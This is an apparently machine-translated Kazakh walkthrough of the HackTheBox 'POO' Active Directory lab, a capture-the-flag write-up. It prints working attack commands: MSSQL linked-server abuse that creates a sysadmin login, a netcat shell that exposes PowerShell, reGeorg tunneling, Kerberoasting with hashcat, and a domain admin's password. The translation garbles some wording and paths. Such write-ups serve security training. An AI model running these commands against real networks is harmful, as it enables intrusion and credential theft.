HackTheBoxendgame. Кәсіби шабуыл операциялары зертханасының өтуі. Pentest Active Directory

HackTheBoxendgame. Кәсіби шабуыл операциялары зертханасының өтуі. Pentest Active Directory

Бұл мақалада біз жай ғана машинаның емес, бүкіл шағын зертхананың сайттан өтуін талдаймыз HackTheBox.

Сипаттамада айтылғандай, POO шағын Active Directory ортасында шабуылдардың барлық кезеңдеріндегі дағдыларды тексеруге арналған. Мақсат - қол жетімді хостты бұзу, артықшылықтарды арттыру және ақыр соңында процесте 5 жалаушаны жинау арқылы бүкіл доменді бұзу.

Зертханаға қосылу VPN арқылы жүзеге асырылады. Ақпараттық қауіпсіздік туралы бірдеңе білетін адамдармен жеке желіге кіргендіктен, жұмыс істейтін компьютерден немесе сіз үшін маңызды деректер бар хосттан қосылмау ұсынылады 🙂

ұйымдастырушылық ақпарат
Жаңа мақалалар, бағдарламалық қамтамасыз ету және басқа ақпарат туралы білуіңіз үшін мен жасадым Telegram каналы и кез келген мәселені талқылау үшін топ IIKB аймағында. Сондай-ақ жеке сұрауларыңыз, сұрақтарыңыз, ұсыныстарыңыз бен ұсыныстарыңыз Мен барлығына қарап, жауап беремін..

Барлық ақпарат тек білім беру мақсатында берілген. Осы құжаттың авторы осы құжатты зерделеу нәтижесінде алынған білім мен әдістерді пайдалану нәтижесінде ешкімге келтірілген зиян үшін жауапкершілік көтермейді.

Intro

Бұл соңғы ойын екі машинадан тұрады және 5 жалаушадан тұрады.

HackTheBoxendgame. Кәсіби шабуыл операциялары зертханасының өтуі. Pentest Active Directory

Қол жетімді хосттың сипаттамасы мен мекенжайы да берілген.

HackTheBoxendgame. Кәсіби шабуыл операциялары зертханасының өтуі. Pentest Active Directory

Бастайық!

Recon жалауы

Бұл құрылғыда 10.13.38.11 IP мекенжайы бар, оны мен /etc/hosts ішіне қосамын.
10.13.38.11 poo.htb

Бірінші қадам - ​​ашық порттарды сканерлеу. Барлық порттарды nmap көмегімен сканерлеу көп уақытты қажет ететіндіктен, мен оны алдымен masscan арқылы жасаймын. Біз барлық TCP және UDP порттарын tun0 интерфейсінен 500pps жылдамдығымен сканерлейміз.

sudo masscan -e tun0 -p1-65535,U:1-65535 10.13.38.11 --rate=500

HackTheBoxendgame. Кәсіби шабуыл операциялары зертханасының өтуі. Pentest Active Directory

Енді порттарда жұмыс істейтін қызметтер туралы толығырақ ақпарат алу үшін -A опциясымен сканерлеуді іске қосамыз.

nmap -A poo.htb -p80,1433

HackTheBoxendgame. Кәсіби шабуыл операциялары зертханасының өтуі. Pentest Active Directory

Осылайша, бізде IIS және MSSQL қызметтері бар. Бұл жағдайда біз домен мен компьютердің нақты DNS атауын анықтаймыз. Веб-серверде бізді IIS басты беті қарсы алады.

HackTheBoxendgame. Кәсіби шабуыл операциялары зертханасының өтуі. Pentest Active Directory

Каталогтарды қайталап көрейік. Мен бұл үшін gobuster қолданамын. Параметрлерде ағындар санын 128 (-t), URL (-u), сөздік (-w) және бізді қызықтыратын кеңейтімдерді (-x) көрсетеміз.

gobuster dir -t 128 -u poo.htb -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,aspx,html

HackTheBoxendgame. Кәсіби шабуыл операциялары зертханасының өтуі. Pentest Active Directory

Осылайша, бізде /admin каталогы үшін HTTP аутентификациясы, сондай-ақ қол жетімді .DS_Store жұмыс үстелі қызметінің сақтау файлы бар. .DS_Store — файлдар тізімі, белгіше орны, таңдалған фондық сурет сияқты қалта үшін пайдаланушы параметрлерін сақтайтын файлдар. Мұндай файл веб-әзірлеушілердің веб-сервер каталогында аяқталуы мүмкін. Осылайша, біз каталогтың мазмұны туралы ақпарат аламыз. Ол үшін пайдалануға болады DS_Store тексеріп шығушысы.

python3 dsstore_crawler.py -i http://poo.htb/

HackTheBoxendgame. Кәсіби шабуыл операциялары зертханасының өтуі. Pentest Active Directory

Біз каталогтың мазмұнын аламыз. Мұндағы ең қызық нәрсе - /dev каталогы, одан біз екі тармақта көздер мен db файлдарын көре аламыз. Бірақ егер қызмет IIS ShortName үшін осал болса, біз файл мен каталог атауларының алғашқы 6 таңбасын пайдалана аламыз. Бұл осалдықты пайдаланып тексере аласыз IIS қысқа атауы сканері.

HackTheBoxendgame. Кәсіби шабуыл операциялары зертханасының өтуі. Pentest Active Directory

Біз «poo_co» деп басталатын бір мәтіндік файлды табамыз. Әрі қарай не істерімді білмей, каталогтар сөздігінен «co» әрпінен басталатын барлық сөздерді таңдадым.

cat /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt | grep -i "^co" > co_words.txt

Және wfuzz арқылы қайталаңыз.

wfuzz -w ./co_words.txt -u "http://poo.htb/dev/dca66d38fd916317687e1390a420c3fc/db/poo_FUZZ.txt" --hc 404

HackTheBoxendgame. Кәсіби шабуыл операциялары зертханасының өтуі. Pentest Active Directory

Және дұрыс сөзді табыңыз! Біз бұл файлды қарастырамыз, тіркелгі деректерін сақтаймыз (DBNAME параметрі бойынша олар MSSQL-тен алынған).

HackTheBoxendgame. Кәсіби шабуыл операциялары зертханасының өтуі. Pentest Active Directory

Біз туды тапсырамыз, ал біз 20% алға жылжамыз.

HackTheBoxendgame. Кәсіби шабуыл операциялары зертханасының өтуі. Pentest Active Directory

Уа ту

Біз MSSQL-ге қосыламыз, мен DBeaver пайдаланамын.

HackTheBoxendgame. Кәсіби шабуыл операциялары зертханасының өтуі. Pentest Active Directory

Біз бұл дерекқордан қызықты ештеңе таппадық, SQL редакторын жасап, пайдаланушылардың қандай екенін тексерейік.

SELECT name FROM master..syslogins;

HackTheBoxendgame. Кәсіби шабуыл операциялары зертханасының өтуі. Pentest Active Directory

Бізде екі пайдаланушы бар. Артықшылықтарымызды тексерейік.

SELECT is_srvrolemember('sysadmin'), is_srvrolemember('dbcreator'), is_srvrolemember('bulkadmin'), is_srvrolemember('diskadmin'), is_srvrolemember('processadmin'), is_srvrolemember('serveradmin'), is_srvrolemember('setupadmin'), is_srvrolemember('securityadmin');

HackTheBoxendgame. Кәсіби шабуыл операциялары зертханасының өтуі. Pentest Active Directory

Осылайша, артықшылықтар жоқ. Байланыстырылған серверлерді көрейік, мен бұл техника туралы егжей-тегжейлі жаздым осында.

SELECT * FROM master..sysservers;

HackTheBoxendgame. Кәсіби шабуыл операциялары зертханасының өтуі. Pentest Active Directory

Сонымен, біз басқа SQL серверін табамыз. Openquery() арқылы осы сервердегі командалардың орындалуын тексерейік.

SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'select @@version as version');

HackTheBoxendgame. Кәсіби шабуыл операциялары зертханасының өтуі. Pentest Active Directory

Біз тіпті сұрау ағашын құра аламыз.

SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT version FROM openquery("COMPATIBILITYPOO_PUBLIC", ''select @@version as version'');');

Өйткені, біз байланыстырылған серверге сұраныс жасағанда, сұрау басқа пайдаланушының контекстінде орындалады! Байланыстырылған серверде қандай пайдаланушы контекстін іске қосып жатқанымызды көрейік.

SELECT name FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT user_name() as name');

HackTheBoxendgame. Кәсіби шабуыл операциялары зертханасының өтуі. Pentest Active Directory

Ал енді бізбен байланысқан серверден сұрау қандай контексте орындалатынын көрейік!

SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT name FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT user_name() as name'');');

HackTheBoxendgame. Кәсіби шабуыл операциялары зертханасының өтуі. Pentest Active Directory

Осылайша, бұл барлық артықшылықтарға ие болуы керек DBO мәтінмәні. Байланыстырылған серверден сұрау болған жағдайда артықшылықтарды тексерейік.

SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT * FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT is_srvrolemember(''''sysadmin''''), is_srvrolemember(''''dbcreator''''), is_srvrolemember(''''bulkadmin''''), is_srvrolemember(''''diskadmin''''), is_srvrolemember(''''processadmin''''), is_srvrolemember(''''serveradmin''''), is_srvrolemember(''''setupadmin''''), is_srvrolemember(''''securityadmin'''')'')');

HackTheBoxendgame. Кәсіби шабуыл операциялары зертханасының өтуі. Pentest Active Directory

Көріп отырғаныңыздай, бізде барлық артықшылықтар бар! Әкімшімізді осылай құрайық. Бірақ олар оларға ашық сұрау арқылы мүмкіндік бермейді, оны EXECUTE AT арқылы жасайық.

EXECUTE('EXECUTE(''CREATE LOGIN [ralf] WITH PASSWORD=N''''ralfralf'''', DEFAULT_DATABASE=[master], CHECK_EXPIRATION=OFF, CHECK_POLICY=OFF'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''CREATE USER [ralf] FOR LOGIN [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER SERVER ROLE [sysadmin] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER ROLE [db_owner] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";

Енді біз жаңа пайдаланушының тіркелгі деректерімен қосыламыз, жалаушаның жаңа дерекқорын бақылаймыз.

HackTheBoxendgame. Кәсіби шабуыл операциялары зертханасының өтуі. Pentest Active Directory

Осы туды тапсырып, әрі қарай жүреміз.

HackTheBoxendgame. Кәсіби шабуыл операциялары зертханасының өтуі. Pentest Active Directory

Кері жалау

MSSQL арқылы қабықты алайық, мен импакет бумасынан mssqlclient пайдаланамын.

mssqlclient.py ralf:[email protected] -db POO_PUBLIC

HackTheBoxendgame. Кәсіби шабуыл операциялары зертханасының өтуі. Pentest Active Directory

Біз парольдерді алуымыз керек және біз кездестірген бірінші нәрсе - бұл сайт. Осылайша, бізге веб-сервер конфигурациясы қажет (ыңғайлы қабықшаны тастау мүмкін емес, брандмауэр жұмыс істеп тұрған сияқты).

HackTheBoxendgame. Кәсіби шабуыл операциялары зертханасының өтуі. Pentest Active Directory

Бірақ кіруге тыйым салынады. Біз MSSQL файлын оқи алатынымызға қарамастан, қандай бағдарламалау тілдері конфигурацияланғанын білуіміз керек. Ал MSSQL каталогында Python бар екенін білеміз.

HackTheBoxendgame. Кәсіби шабуыл операциялары зертханасының өтуі. Pentest Active Directory

Содан кейін web.config файлын оқуда ешқандай проблема болмайды.

EXEC sp_execute_external_script
@language = N'Python',
@script = "print(open('C:inetpubwwwrootweb.config').read())"

HackTheBoxendgame. Кәсіби шабуыл операциялары зертханасының өтуі. Pentest Active Directory

Табылған тіркелгі деректерімен /admin бөліміне өтіп, жалаушаны алыңыз.

HackTheBoxendgame. Кәсіби шабуыл операциялары зертханасының өтуі. Pentest Active Directory

HackTheBoxendgame. Кәсіби шабуыл операциялары зертханасының өтуі. Pentest Active Directory

тұғыр туы

Шындығында брандмауэрді пайдаланудың кейбір қолайсыздықтары бар, бірақ желі параметрлерін қарап отырып, IPv6 протоколы да қолданылғанын байқаймыз!

HackTheBoxendgame. Кәсіби шабуыл операциялары зертханасының өтуі. Pentest Active Directory

Бұл мекенжайды /etc/hosts ішіне қосыңыз.
dead:babe::1001 poo6.htb
Хостты қайтадан сканерлеп көрейік, бірақ бұл жолы IPv6 арқылы.

HackTheBoxendgame. Кәсіби шабуыл операциялары зертханасының өтуі. Pentest Active Directory

Ал WinRM қызметі IPv6 арқылы қол жетімді. Табылған тіркелгі деректерімен қосылайық.

HackTheBoxendgame. Кәсіби шабуыл операциялары зертханасының өтуі. Pentest Active Directory

Жұмыс үстелінде жалауша бар, оны тапсыр.

HackTheBoxendgame. Кәсіби шабуыл операциялары зертханасының өтуі. Pentest Active Directory

P00 жалаушасы

Хостта барлаудан кейін шарап біз ерекше ештеңе таппаймыз. Содан кейін тіркелгі деректерін қайтадан іздеу туралы шешім қабылданды (мен де осы тақырыпта жаздым мақала). Бірақ WinRM арқылы жүйеден барлық SPN ала алмадым.

setspn.exe -T intranet.poo -Q */*

HackTheBoxendgame. Кәсіби шабуыл операциялары зертханасының өтуі. Pentest Active Directory

MSSQL арқылы команданы орындайық.

HackTheBoxendgame. Кәсіби шабуыл операциялары зертханасының өтуі. Pentest Active Directory

Осылайша, біз p00_hr және p00_adm пайдаланушыларының SPN аламыз, бұл олардың Kerberoasting сияқты шабуылға осал екенін білдіреді. Қысқасы, біз олардың құпия сөздерінің хэштерін ала аламыз.

Алдымен MSSQL пайдаланушысы атынан тұрақты қабықшаны алу керек. Бірақ қол жеткізу мүмкіндігіміз шектеулі болғандықтан, хостпен тек 80 және 1433 порттары арқылы байланысымыз бар. Бірақ 80 порт арқылы трафикті туннельдеуге болады! Ол үшін біз пайдаланамыз келесі қолданба. tunnel.aspx файлын веб-сервердің үй каталогына жүктеп алайық - C: inetpubwwwroot.

HackTheBoxendgame. Кәсіби шабуыл операциялары зертханасының өтуі. Pentest Active Directory

Бірақ біз оған қол жеткізуге тырысқанда, біз 404 қатесін аламыз.Бұл *.aspx файлдары орындалмағанын білдіреді. Осы кеңейтімдері бар файлдарды іске қосу үшін ASP.NET 4.5 нұсқасын төмендегідей орнатыңыз.

dism /online /enable-feature /all /featurename:IIS-ASPNET45

HackTheBoxendgame. Кәсіби шабуыл операциялары зертханасының өтуі. Pentest Active Directory

HackTheBoxendgame. Кәсіби шабуыл операциялары зертханасының өтуі. Pentest Active Directory

Ал енді tunnel.aspx сайтына кірген кезде біз барлығы дайын деген жауап аламыз.

HackTheBoxendgame. Кәсіби шабуыл операциялары зертханасының өтуі. Pentest Active Directory

Трафикті жіберетін қолданбаның клиенттік бөлігін бастайық. Біз барлық трафикті 5432 портынан серверге жібереміз.

python ./reGeorgSocksProxy.py -p 5432 -u http://poo.htb/tunnel.aspx

HackTheBoxendgame. Кәсіби шабуыл операциялары зертханасының өтуі. Pentest Active Directory

Біз прокси арқылы кез келген қолданбаның трафигін жіберу үшін проксичейндерді пайдаланамыз. Осы проксиді /etc/proxychains.conf конфигурация файлына қосамыз.

HackTheBoxendgame. Кәсіби шабуыл операциялары зертханасының өтуі. Pentest Active Directory

Енді бағдарламаны серверге жүктеп алайық неткат, оның көмегімен біз тұрақты байланыстыру қабығын және сценарийді жасаймыз Kerberoast шақырыңыз, оның көмегімен біз Kerberoasting шабуылын орындаймыз.

HackTheBoxendgame. Кәсіби шабуыл операциялары зертханасының өтуі. Pentest Active Directory

Енді MSSQL арқылы біз тыңдаушыны іске қосамыз.

xp_cmdshell C:tempnc64.exe -e powershell.exe -lvp 4321

HackTheBoxendgame. Кәсіби шабуыл операциялары зертханасының өтуі. Pentest Active Directory

Біз прокси арқылы қосыламыз.

proxychains rlwrap nc poo.htb 4321

HackTheBoxendgame. Кәсіби шабуыл операциялары зертханасының өтуі. Pentest Active Directory

Ал хэштерді алайық.

. .Invoke-Kerberoast.ps1
Invoke-Kerberoast -erroraction silentlycontinue -OutputFormat Hashcat | Select-Object Hash | Out-File -filepath 'C:tempkerb_hashes.txt' -Width 8000
type kerb_hashes.txt

HackTheBoxendgame. Кәсіби шабуыл операциялары зертханасының өтуі. Pentest Active Directory

Әрі қарай, осы хэштерді қайталау керек. Сізде құпия сөз деректерінің сөздігі болмағандықтан, мен Seclists бөлімінде берілген БАРЛЫҚ құпия сөздіктерді пайдаландым. Санау үшін біз hashcat пайдаланамыз.

hashcat -a 0 -m 13100 krb_hashes.txt /usr/share/seclists/Passwords/*.txt --force

Біз екі құпия сөзді де табамыз, біріншісі dutch_passwordlist.txt сөздігінде, екіншісі Keyboard-Combinations.txt ішінен.

HackTheBoxendgame. Кәсіби шабуыл операциялары зертханасының өтуі. Pentest Active Directory

HackTheBoxendgame. Кәсіби шабуыл операциялары зертханасының өтуі. Pentest Active Directory

Сонымен, бізде үш пайдаланушы бар, біз домен контроллеріне барамыз. Алдымен оның мекен-жайын біліп алайық.

HackTheBoxendgame. Кәсіби шабуыл операциялары зертханасының өтуі. Pentest Active Directory

Керемет, біз домен контроллерінің IP мекенжайын білдік. Доменнің барлық пайдаланушыларын, сондай-ақ олардың қайсысы әкімші екенін білейік. PowerView.ps1 ақпаратты алу үшін сценарийді жүктеп алу. Содан кейін -s параметріндегі сценариймен каталогты көрсете отырып, evil-winrm көмегімен қосыламыз. Содан кейін PowerView сценарийін жүктеңіз.

HackTheBoxendgame. Кәсіби шабуыл операциялары зертханасының өтуі. Pentest Active Directory

Енді біз оның барлық функцияларына қол жеткізе аламыз. p00_adm пайдаланушысы артықшылықты пайдаланушыға ұқсайды, сондықтан біз оның контекстінде жұмыс істейміз. Осы пайдаланушы үшін PSCredential нысанын жасайық.

$User = 'p00_adm'
$Password = 'ZQ!5t4r'
$Cpass = ConvertTo-SecureString -AsPlainText $Password -force
$Creds = New-Object System.Management.Automation.PSCredential -ArgumentList $User,$Cpass

Енді біз Creds көрсететін барлық Powershell пәрмендері p00_adm атынан орындалады. Пайдаланушылар тізімін және AdminCount атрибутын көрсетейік.

Get-NetUser -DomainController dc -Credential $Creds | select name,admincount

HackTheBoxendgame. Кәсіби шабуыл операциялары зертханасының өтуі. Pentest Active Directory

Сонымен, біздің пайдаланушы шынымен артықшылыққа ие. Оның қандай топтарға жататынын көрейік.

Get-NetGroup -UserName "p00_adm" -DomainController dc -Credential $Creds

HackTheBoxendgame. Кәсіби шабуыл операциялары зертханасының өтуі. Pentest Active Directory

Ақырында біз пайдаланушының домен әкімшісі екенін растаймыз. Бұл оған домен контроллеріне қашықтан кіру құқығын береді. Туннельді пайдаланып WinRM арқылы кіруге тырысайық. Evil-winrm пайдалану кезінде reGeorg шығарған қателер мені шатастырды.

HackTheBoxendgame. Кәсіби шабуыл операциялары зертханасының өтуі. Pentest Active Directory

Содан кейін біз басқа, оңайырақ қолданамыз, сценарий WinRM жүйесіне қосылу үшін. Қосылым параметрлерін ашу және өзгерту.

HackTheBoxendgame. Кәсіби шабуыл операциялары зертханасының өтуі. Pentest Active Directory

Біз қосылуға тырысамыз және біз жүйедеміз.

HackTheBoxendgame. Кәсіби шабуыл операциялары зертханасының өтуі. Pentest Active Directory

Бірақ ту жоқ. Содан кейін пайдаланушыға қарап, жұмыс үстелдерін тексеріңіз.

HackTheBoxendgame. Кәсіби шабуыл операциялары зертханасының өтуі. Pentest Active Directory

mr3ks-те біз жалаушаны табамыз және зертхана 100% аяқталды.

HackTheBoxendgame. Кәсіби шабуыл операциялары зертханасының өтуі. Pentest Active Directory

Осымен болды. Кері байланыс ретінде осы мақаладан жаңа бірдеңе білдіңіз бе және ол сізге пайдалы болды ма деп түсініктеме беріңіз.

Бізбен байланысыңыз Telegram. Онда сіз қызықты материалдарды, біріктірілген курстарды, сондай-ақ бағдарламалық жасақтаманы таба аласыз. АТ-тың көптеген салаларын түсінетін адамдар болатын қоғамдастықты жинайық, сонда біз кез келген АТ және ақпараттық қауіпсіздік мәселелері бойынша бір-бірімізге әрқашан көмектесе аламыз.

Ақпарат көзі: www.habr.com

пікір қалдыру